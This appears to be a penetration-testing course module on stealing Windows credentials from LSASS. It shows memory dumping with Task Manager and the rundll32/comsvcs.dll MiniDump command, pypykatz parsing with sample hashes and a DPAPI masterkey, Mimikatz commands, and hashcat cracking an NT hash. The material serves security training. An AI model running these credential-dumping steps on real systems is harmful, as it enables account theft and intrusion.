Attacking LSASS Passwords

In addition to getting copies of the SAM database to dump and crack hashes, we will also benefit from targeting LSASS. As discussed in the Credential Storage section of this module, LSASS is a critical service that plays a central role in credential management and the authentication processes in all Windows operating systems.

lsass Diagram

Upon initial logon, LSASS will:

Let's cover some of the techniques and tools we can use to dump LSASS memory and extract credentials from a target running Windows.

Dumping LSASS Process Memory

Similar to the process of attacking the SAM database, with LSASS, it would be wise for us first to create a copy of the contents of LSASS process memory via the generation of a memory dump. Creating a dump file lets us extract credentials offline using our attack host. Keep in mind conducting attacks offline gives us more flexibility in the speed of our attack and requires less time spent on the target system. There are countless methods we can use to create a memory dump. Let's cover techniques that can be performed using tools already built-in to Windows.

Task Manager Method

With access to an interactive graphical session with the target, we can use task manager to create a memory dump. This requires us to:

Task Manager Memory Dump

Open Task Manager > Select the Processes tab > Find & right click the Local Security Authority Process > Select Create dump file

A file called lsass.DMP is created and saved in:

C:\Users\loggedonusersdirectory\AppData\Local\Temp

This is the file we will transfer to our attack host. We can use the file transfer method discussed in the Attacking SAM section of this module to transfer the dump file to our attack host.

Rundll32.exe & Comsvcs.dll Method

The Task Manager method is dependent on us having a GUI-based interactive session with a target. We can use an alternative method to dump LSASS process memory through a command-line utility called rundll32.exe. This way is faster than the Task Manager method and more flexible because we may gain a shell session on a Windows host with only access to the command line. It is important to note that modern anti-virus tools recognize this method as malicious activity.

Before issuing the command to create the dump file, we must determine what process ID (PID) is assigned to lsass.exe. This can be done from cmd or PowerShell:

Finding LSASS PID in cmd

From cmd, we can issue the command tasklist /svc and find lsass.exe and its process ID in the PID field.

Attacking LSASS

C:\Windows\system32> tasklist /svc

Image Name                     PID Services
========================= ======== ============================================
System Idle Process              0 N/A
System                           4 N/A
Registry                        96 N/A
smss.exe                       344 N/A
csrss.exe                      432 N/A
wininit.exe                    508 N/A
csrss.exe                      520 N/A
winlogon.exe                   580 N/A
services.exe                   652 N/A
lsass.exe                      672 KeyIso, SamSs, VaultSvc
svchost.exe                    776 PlugPlay
svchost.exe                    804 BrokerInfrastructure, DcomLaunch, Power,
                                   SystemEventsBroker
fontdrvhost.exe                812 N/A

Finding LSASS PID in PowerShell

From PowerShell, we can issue the command Get-Process lsass and see the process ID in the Id field.

PS C:\Windows\system32> Get-Process lsass

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   1260      21     4948      15396       2.56    672   0 lsass

Once we have the PID assigned to the LSASS process, we can create the dump file.

Creating lsass.dmp using PowerShell

With an elevated PowerShell session, we can issue the following command to create the dump file:

PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

With this command, we are running rundll32.exe to call an exported function of comsvcs.dll which also calls the MiniDumpWriteDump (MiniDump) function to dump the LSASS process memory to a specified directory (C:\lsass.dmp). Recall that most modern AV tools recognize this as malicious and prevent the command from executing. In these cases, we will need to consider ways to bypass or disable the AV tool we are facing. AV bypassing techniques are outside of the scope of this module.

If we manage to run this command and generate the lsass.dmp file, we can proceed to transfer the file onto our attack box to attempt to extract any credentials that may have been stored in LSASS process memory.

Note: We can use the file transfer method discussed in the Attacking SAM section to get the lsass.dmp file from the target to our attack host.

Using Pypykatz to Extract Credentials

Once we have the dump file on our attack host, we can use a powerful tool called pypykatz to attempt to extract credentials from the .dmp file. Pypykatz is an implementation of Mimikatz written entirely in Python. The fact that it is written in Python allows us to run it on Linux-based attack hosts. At the time of this writing, Mimikatz only runs on Windows systems, so to use it, we would either need to use a Windows attack host or we would need to run Mimikatz directly on the target, which is not an ideal scenario. This makes Pypykatz an appealing alternative because all we need is a copy of the dump file, and we can run it offline from our Linux-based attack host.

Recall that LSASS stores credentials that have active logon sessions on Windows systems. When we dumped LSASS process memory into the file, we essentially took a "snapshot" of what was in memory at that point in time. If there were any active logon sessions, the credentials used to establish them will be present. Let's run Pypykatz against the dump file and find out.

Running Pypykatz

The command initiates the use of pypykatz to parse the secrets hidden in the LSASS process memory dump. We use lsa in the command because LSASS is a subsystem of local security authority, then we specify the data source as a minidump file, proceeded by the path to the dump file (/home/peter/Documents/lsass.dmp) stored on our attack host. Pypykatz parses the dump file and outputs the findings:

ammartiger@htb[/htb]$ pypykatz lsa minidump /home/peter/Documents/lsass.dmp 

INFO:root:Parsing file /home/peter/Documents/lsass.dmp
FILE: ======== /home/peter/Documents/lsass.dmp =======
== LogonSession ==
authentication_id 1354633 (14ab89)
session_id 2
username bob
domainname DESKTOP-33E7O54
logon_server WIN-6T0C3J2V6HP
logon_time 2021-12-14T18:14:25.514306+00:00
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA
	== WDIGEST [14ab89]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)
	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54
	== WDIGEST [14ab89]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)
	== DPAPI [14ab89]==
		luid 1354633
		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
		masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
		sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605

== LogonSession ==
authentication_id 1354581 (14ab55)
session_id 2
username bob
domainname DESKTOP-33E7O54
logon_server WIN-6T0C3J2V6HP
logon_time 2021-12-14T18:14:25.514306+00:00
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354581
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA
	== WDIGEST [14ab55]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)
	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54
	== WDIGEST [14ab55]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)

== LogonSession ==
authentication_id 1343859 (148173)
session_id 2
username DWM-2
domainname Window Manager
logon_server 
logon_time 2021-12-14T18:14:25.248681+00:00
sid S-1-5-90-0-2
luid 1343859
	== WDIGEST [148173]==
		username WIN-6T0C3J2V6HP$
		domainname WORKGROUP
		password None
		password (hex)
	== WDIGEST [148173]==
		username WIN-6T0C3J2V6HP$
		domainname WORKGROUP
		password None
		password (hex)

Lets take a more detailed look at some of the useful information in the output.

MSV

sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA

MSV is an authentication package in Windows that LSA calls on to validate logon attempts against the SAM database. Pypykatz extracted the SID, Username, Domain, and even the NT & SHA1 password hashes associated with the bob user account's logon session stored in LSASS process memory. This will prove helpful in the final stage of our attack covered at the end of this section.

WDIGEST

	== WDIGEST [14ab89]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)

WDIGEST is an older authentication protocol enabled by default in Windows XP - Windows 8 and Windows Server 2003 - Windows Server 2012. LSASS caches credentials used by WDIGEST in clear-text. This means if we find ourselves targeting a Windows system with WDIGEST enabled, we will most likely see a password in clear-text. Modern Windows operating systems have WDIGEST disabled by default. Additionally, it is essential to note that Microsoft released a security update for systems affected by this issue with WDIGEST. We can study the details of that security update here.

Kerberos

	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54

Kerberos is a network authentication protocol used by Active Directory in Windows Domain environments. Domain user accounts are granted tickets upon authentication with Active Directory. This ticket is used to allow the user to access shared resources on the network that they have been granted access to without needing to type their credentials each time. LSASS caches passwords, ekeys, tickets, and pins associated with Kerberos. It is possible to extract these from LSASS process memory and use them to access other systems joined to the same domain.

DPAPI

	== DPAPI [14ab89]==
		luid 1354633
		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
		masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
		sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605

The Data Protection Application Programming Interface or DPAPI is a set of APIs in Windows operating systems used to encrypt and decrypt DPAPI data blobs on a per-user basis for Windows OS features and various third-party applications. Here are just a few examples of applications that use DPAPI and what they use it for:

Applications
Use of DPAPI

Internet Explorer

Password form auto-completion data (username and password for saved sites).

Google Chrome

Password form auto-completion data (username and password for saved sites).

Outlook

Passwords for email accounts.

Remote Desktop Connection

Saved credentials for connections to remote machines.

Credential Manager

Saved credentials for accessing shared resources, joining Wireless networks, VPNs and more.

Mimikatz and Pypykatz can extract the DPAPI masterkey for the logged-on user whose data is present in LSASS process memory. This masterkey can then be used to decrypt the secrets associated with each of the applications using DPAPI and result in the capturing of credentials for various accounts. DPAPI attack techniques are covered in greater detail in the Windows Privilege Escalation module.

Dumping credentials from memory

privilege::debug
sekurlsa::logonpasswords

Cracking the NT Hash with Hashcat

Now we can use Hashcat to crack the NT Hash. In this example, we only found one NT hash associated with the Bob user, which means we won't need to create a list of hashes as we did in the Attacking SAM section of this module. After setting the mode in the command, we can paste the hash, specify a wordlist, and then crack the hash.

ammartiger@htb[/htb]$ sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt

64f12cddaa88057e06a81b54e73b949b:Password1

Our cracking attempt completes, and our overall attack can be considered a success.

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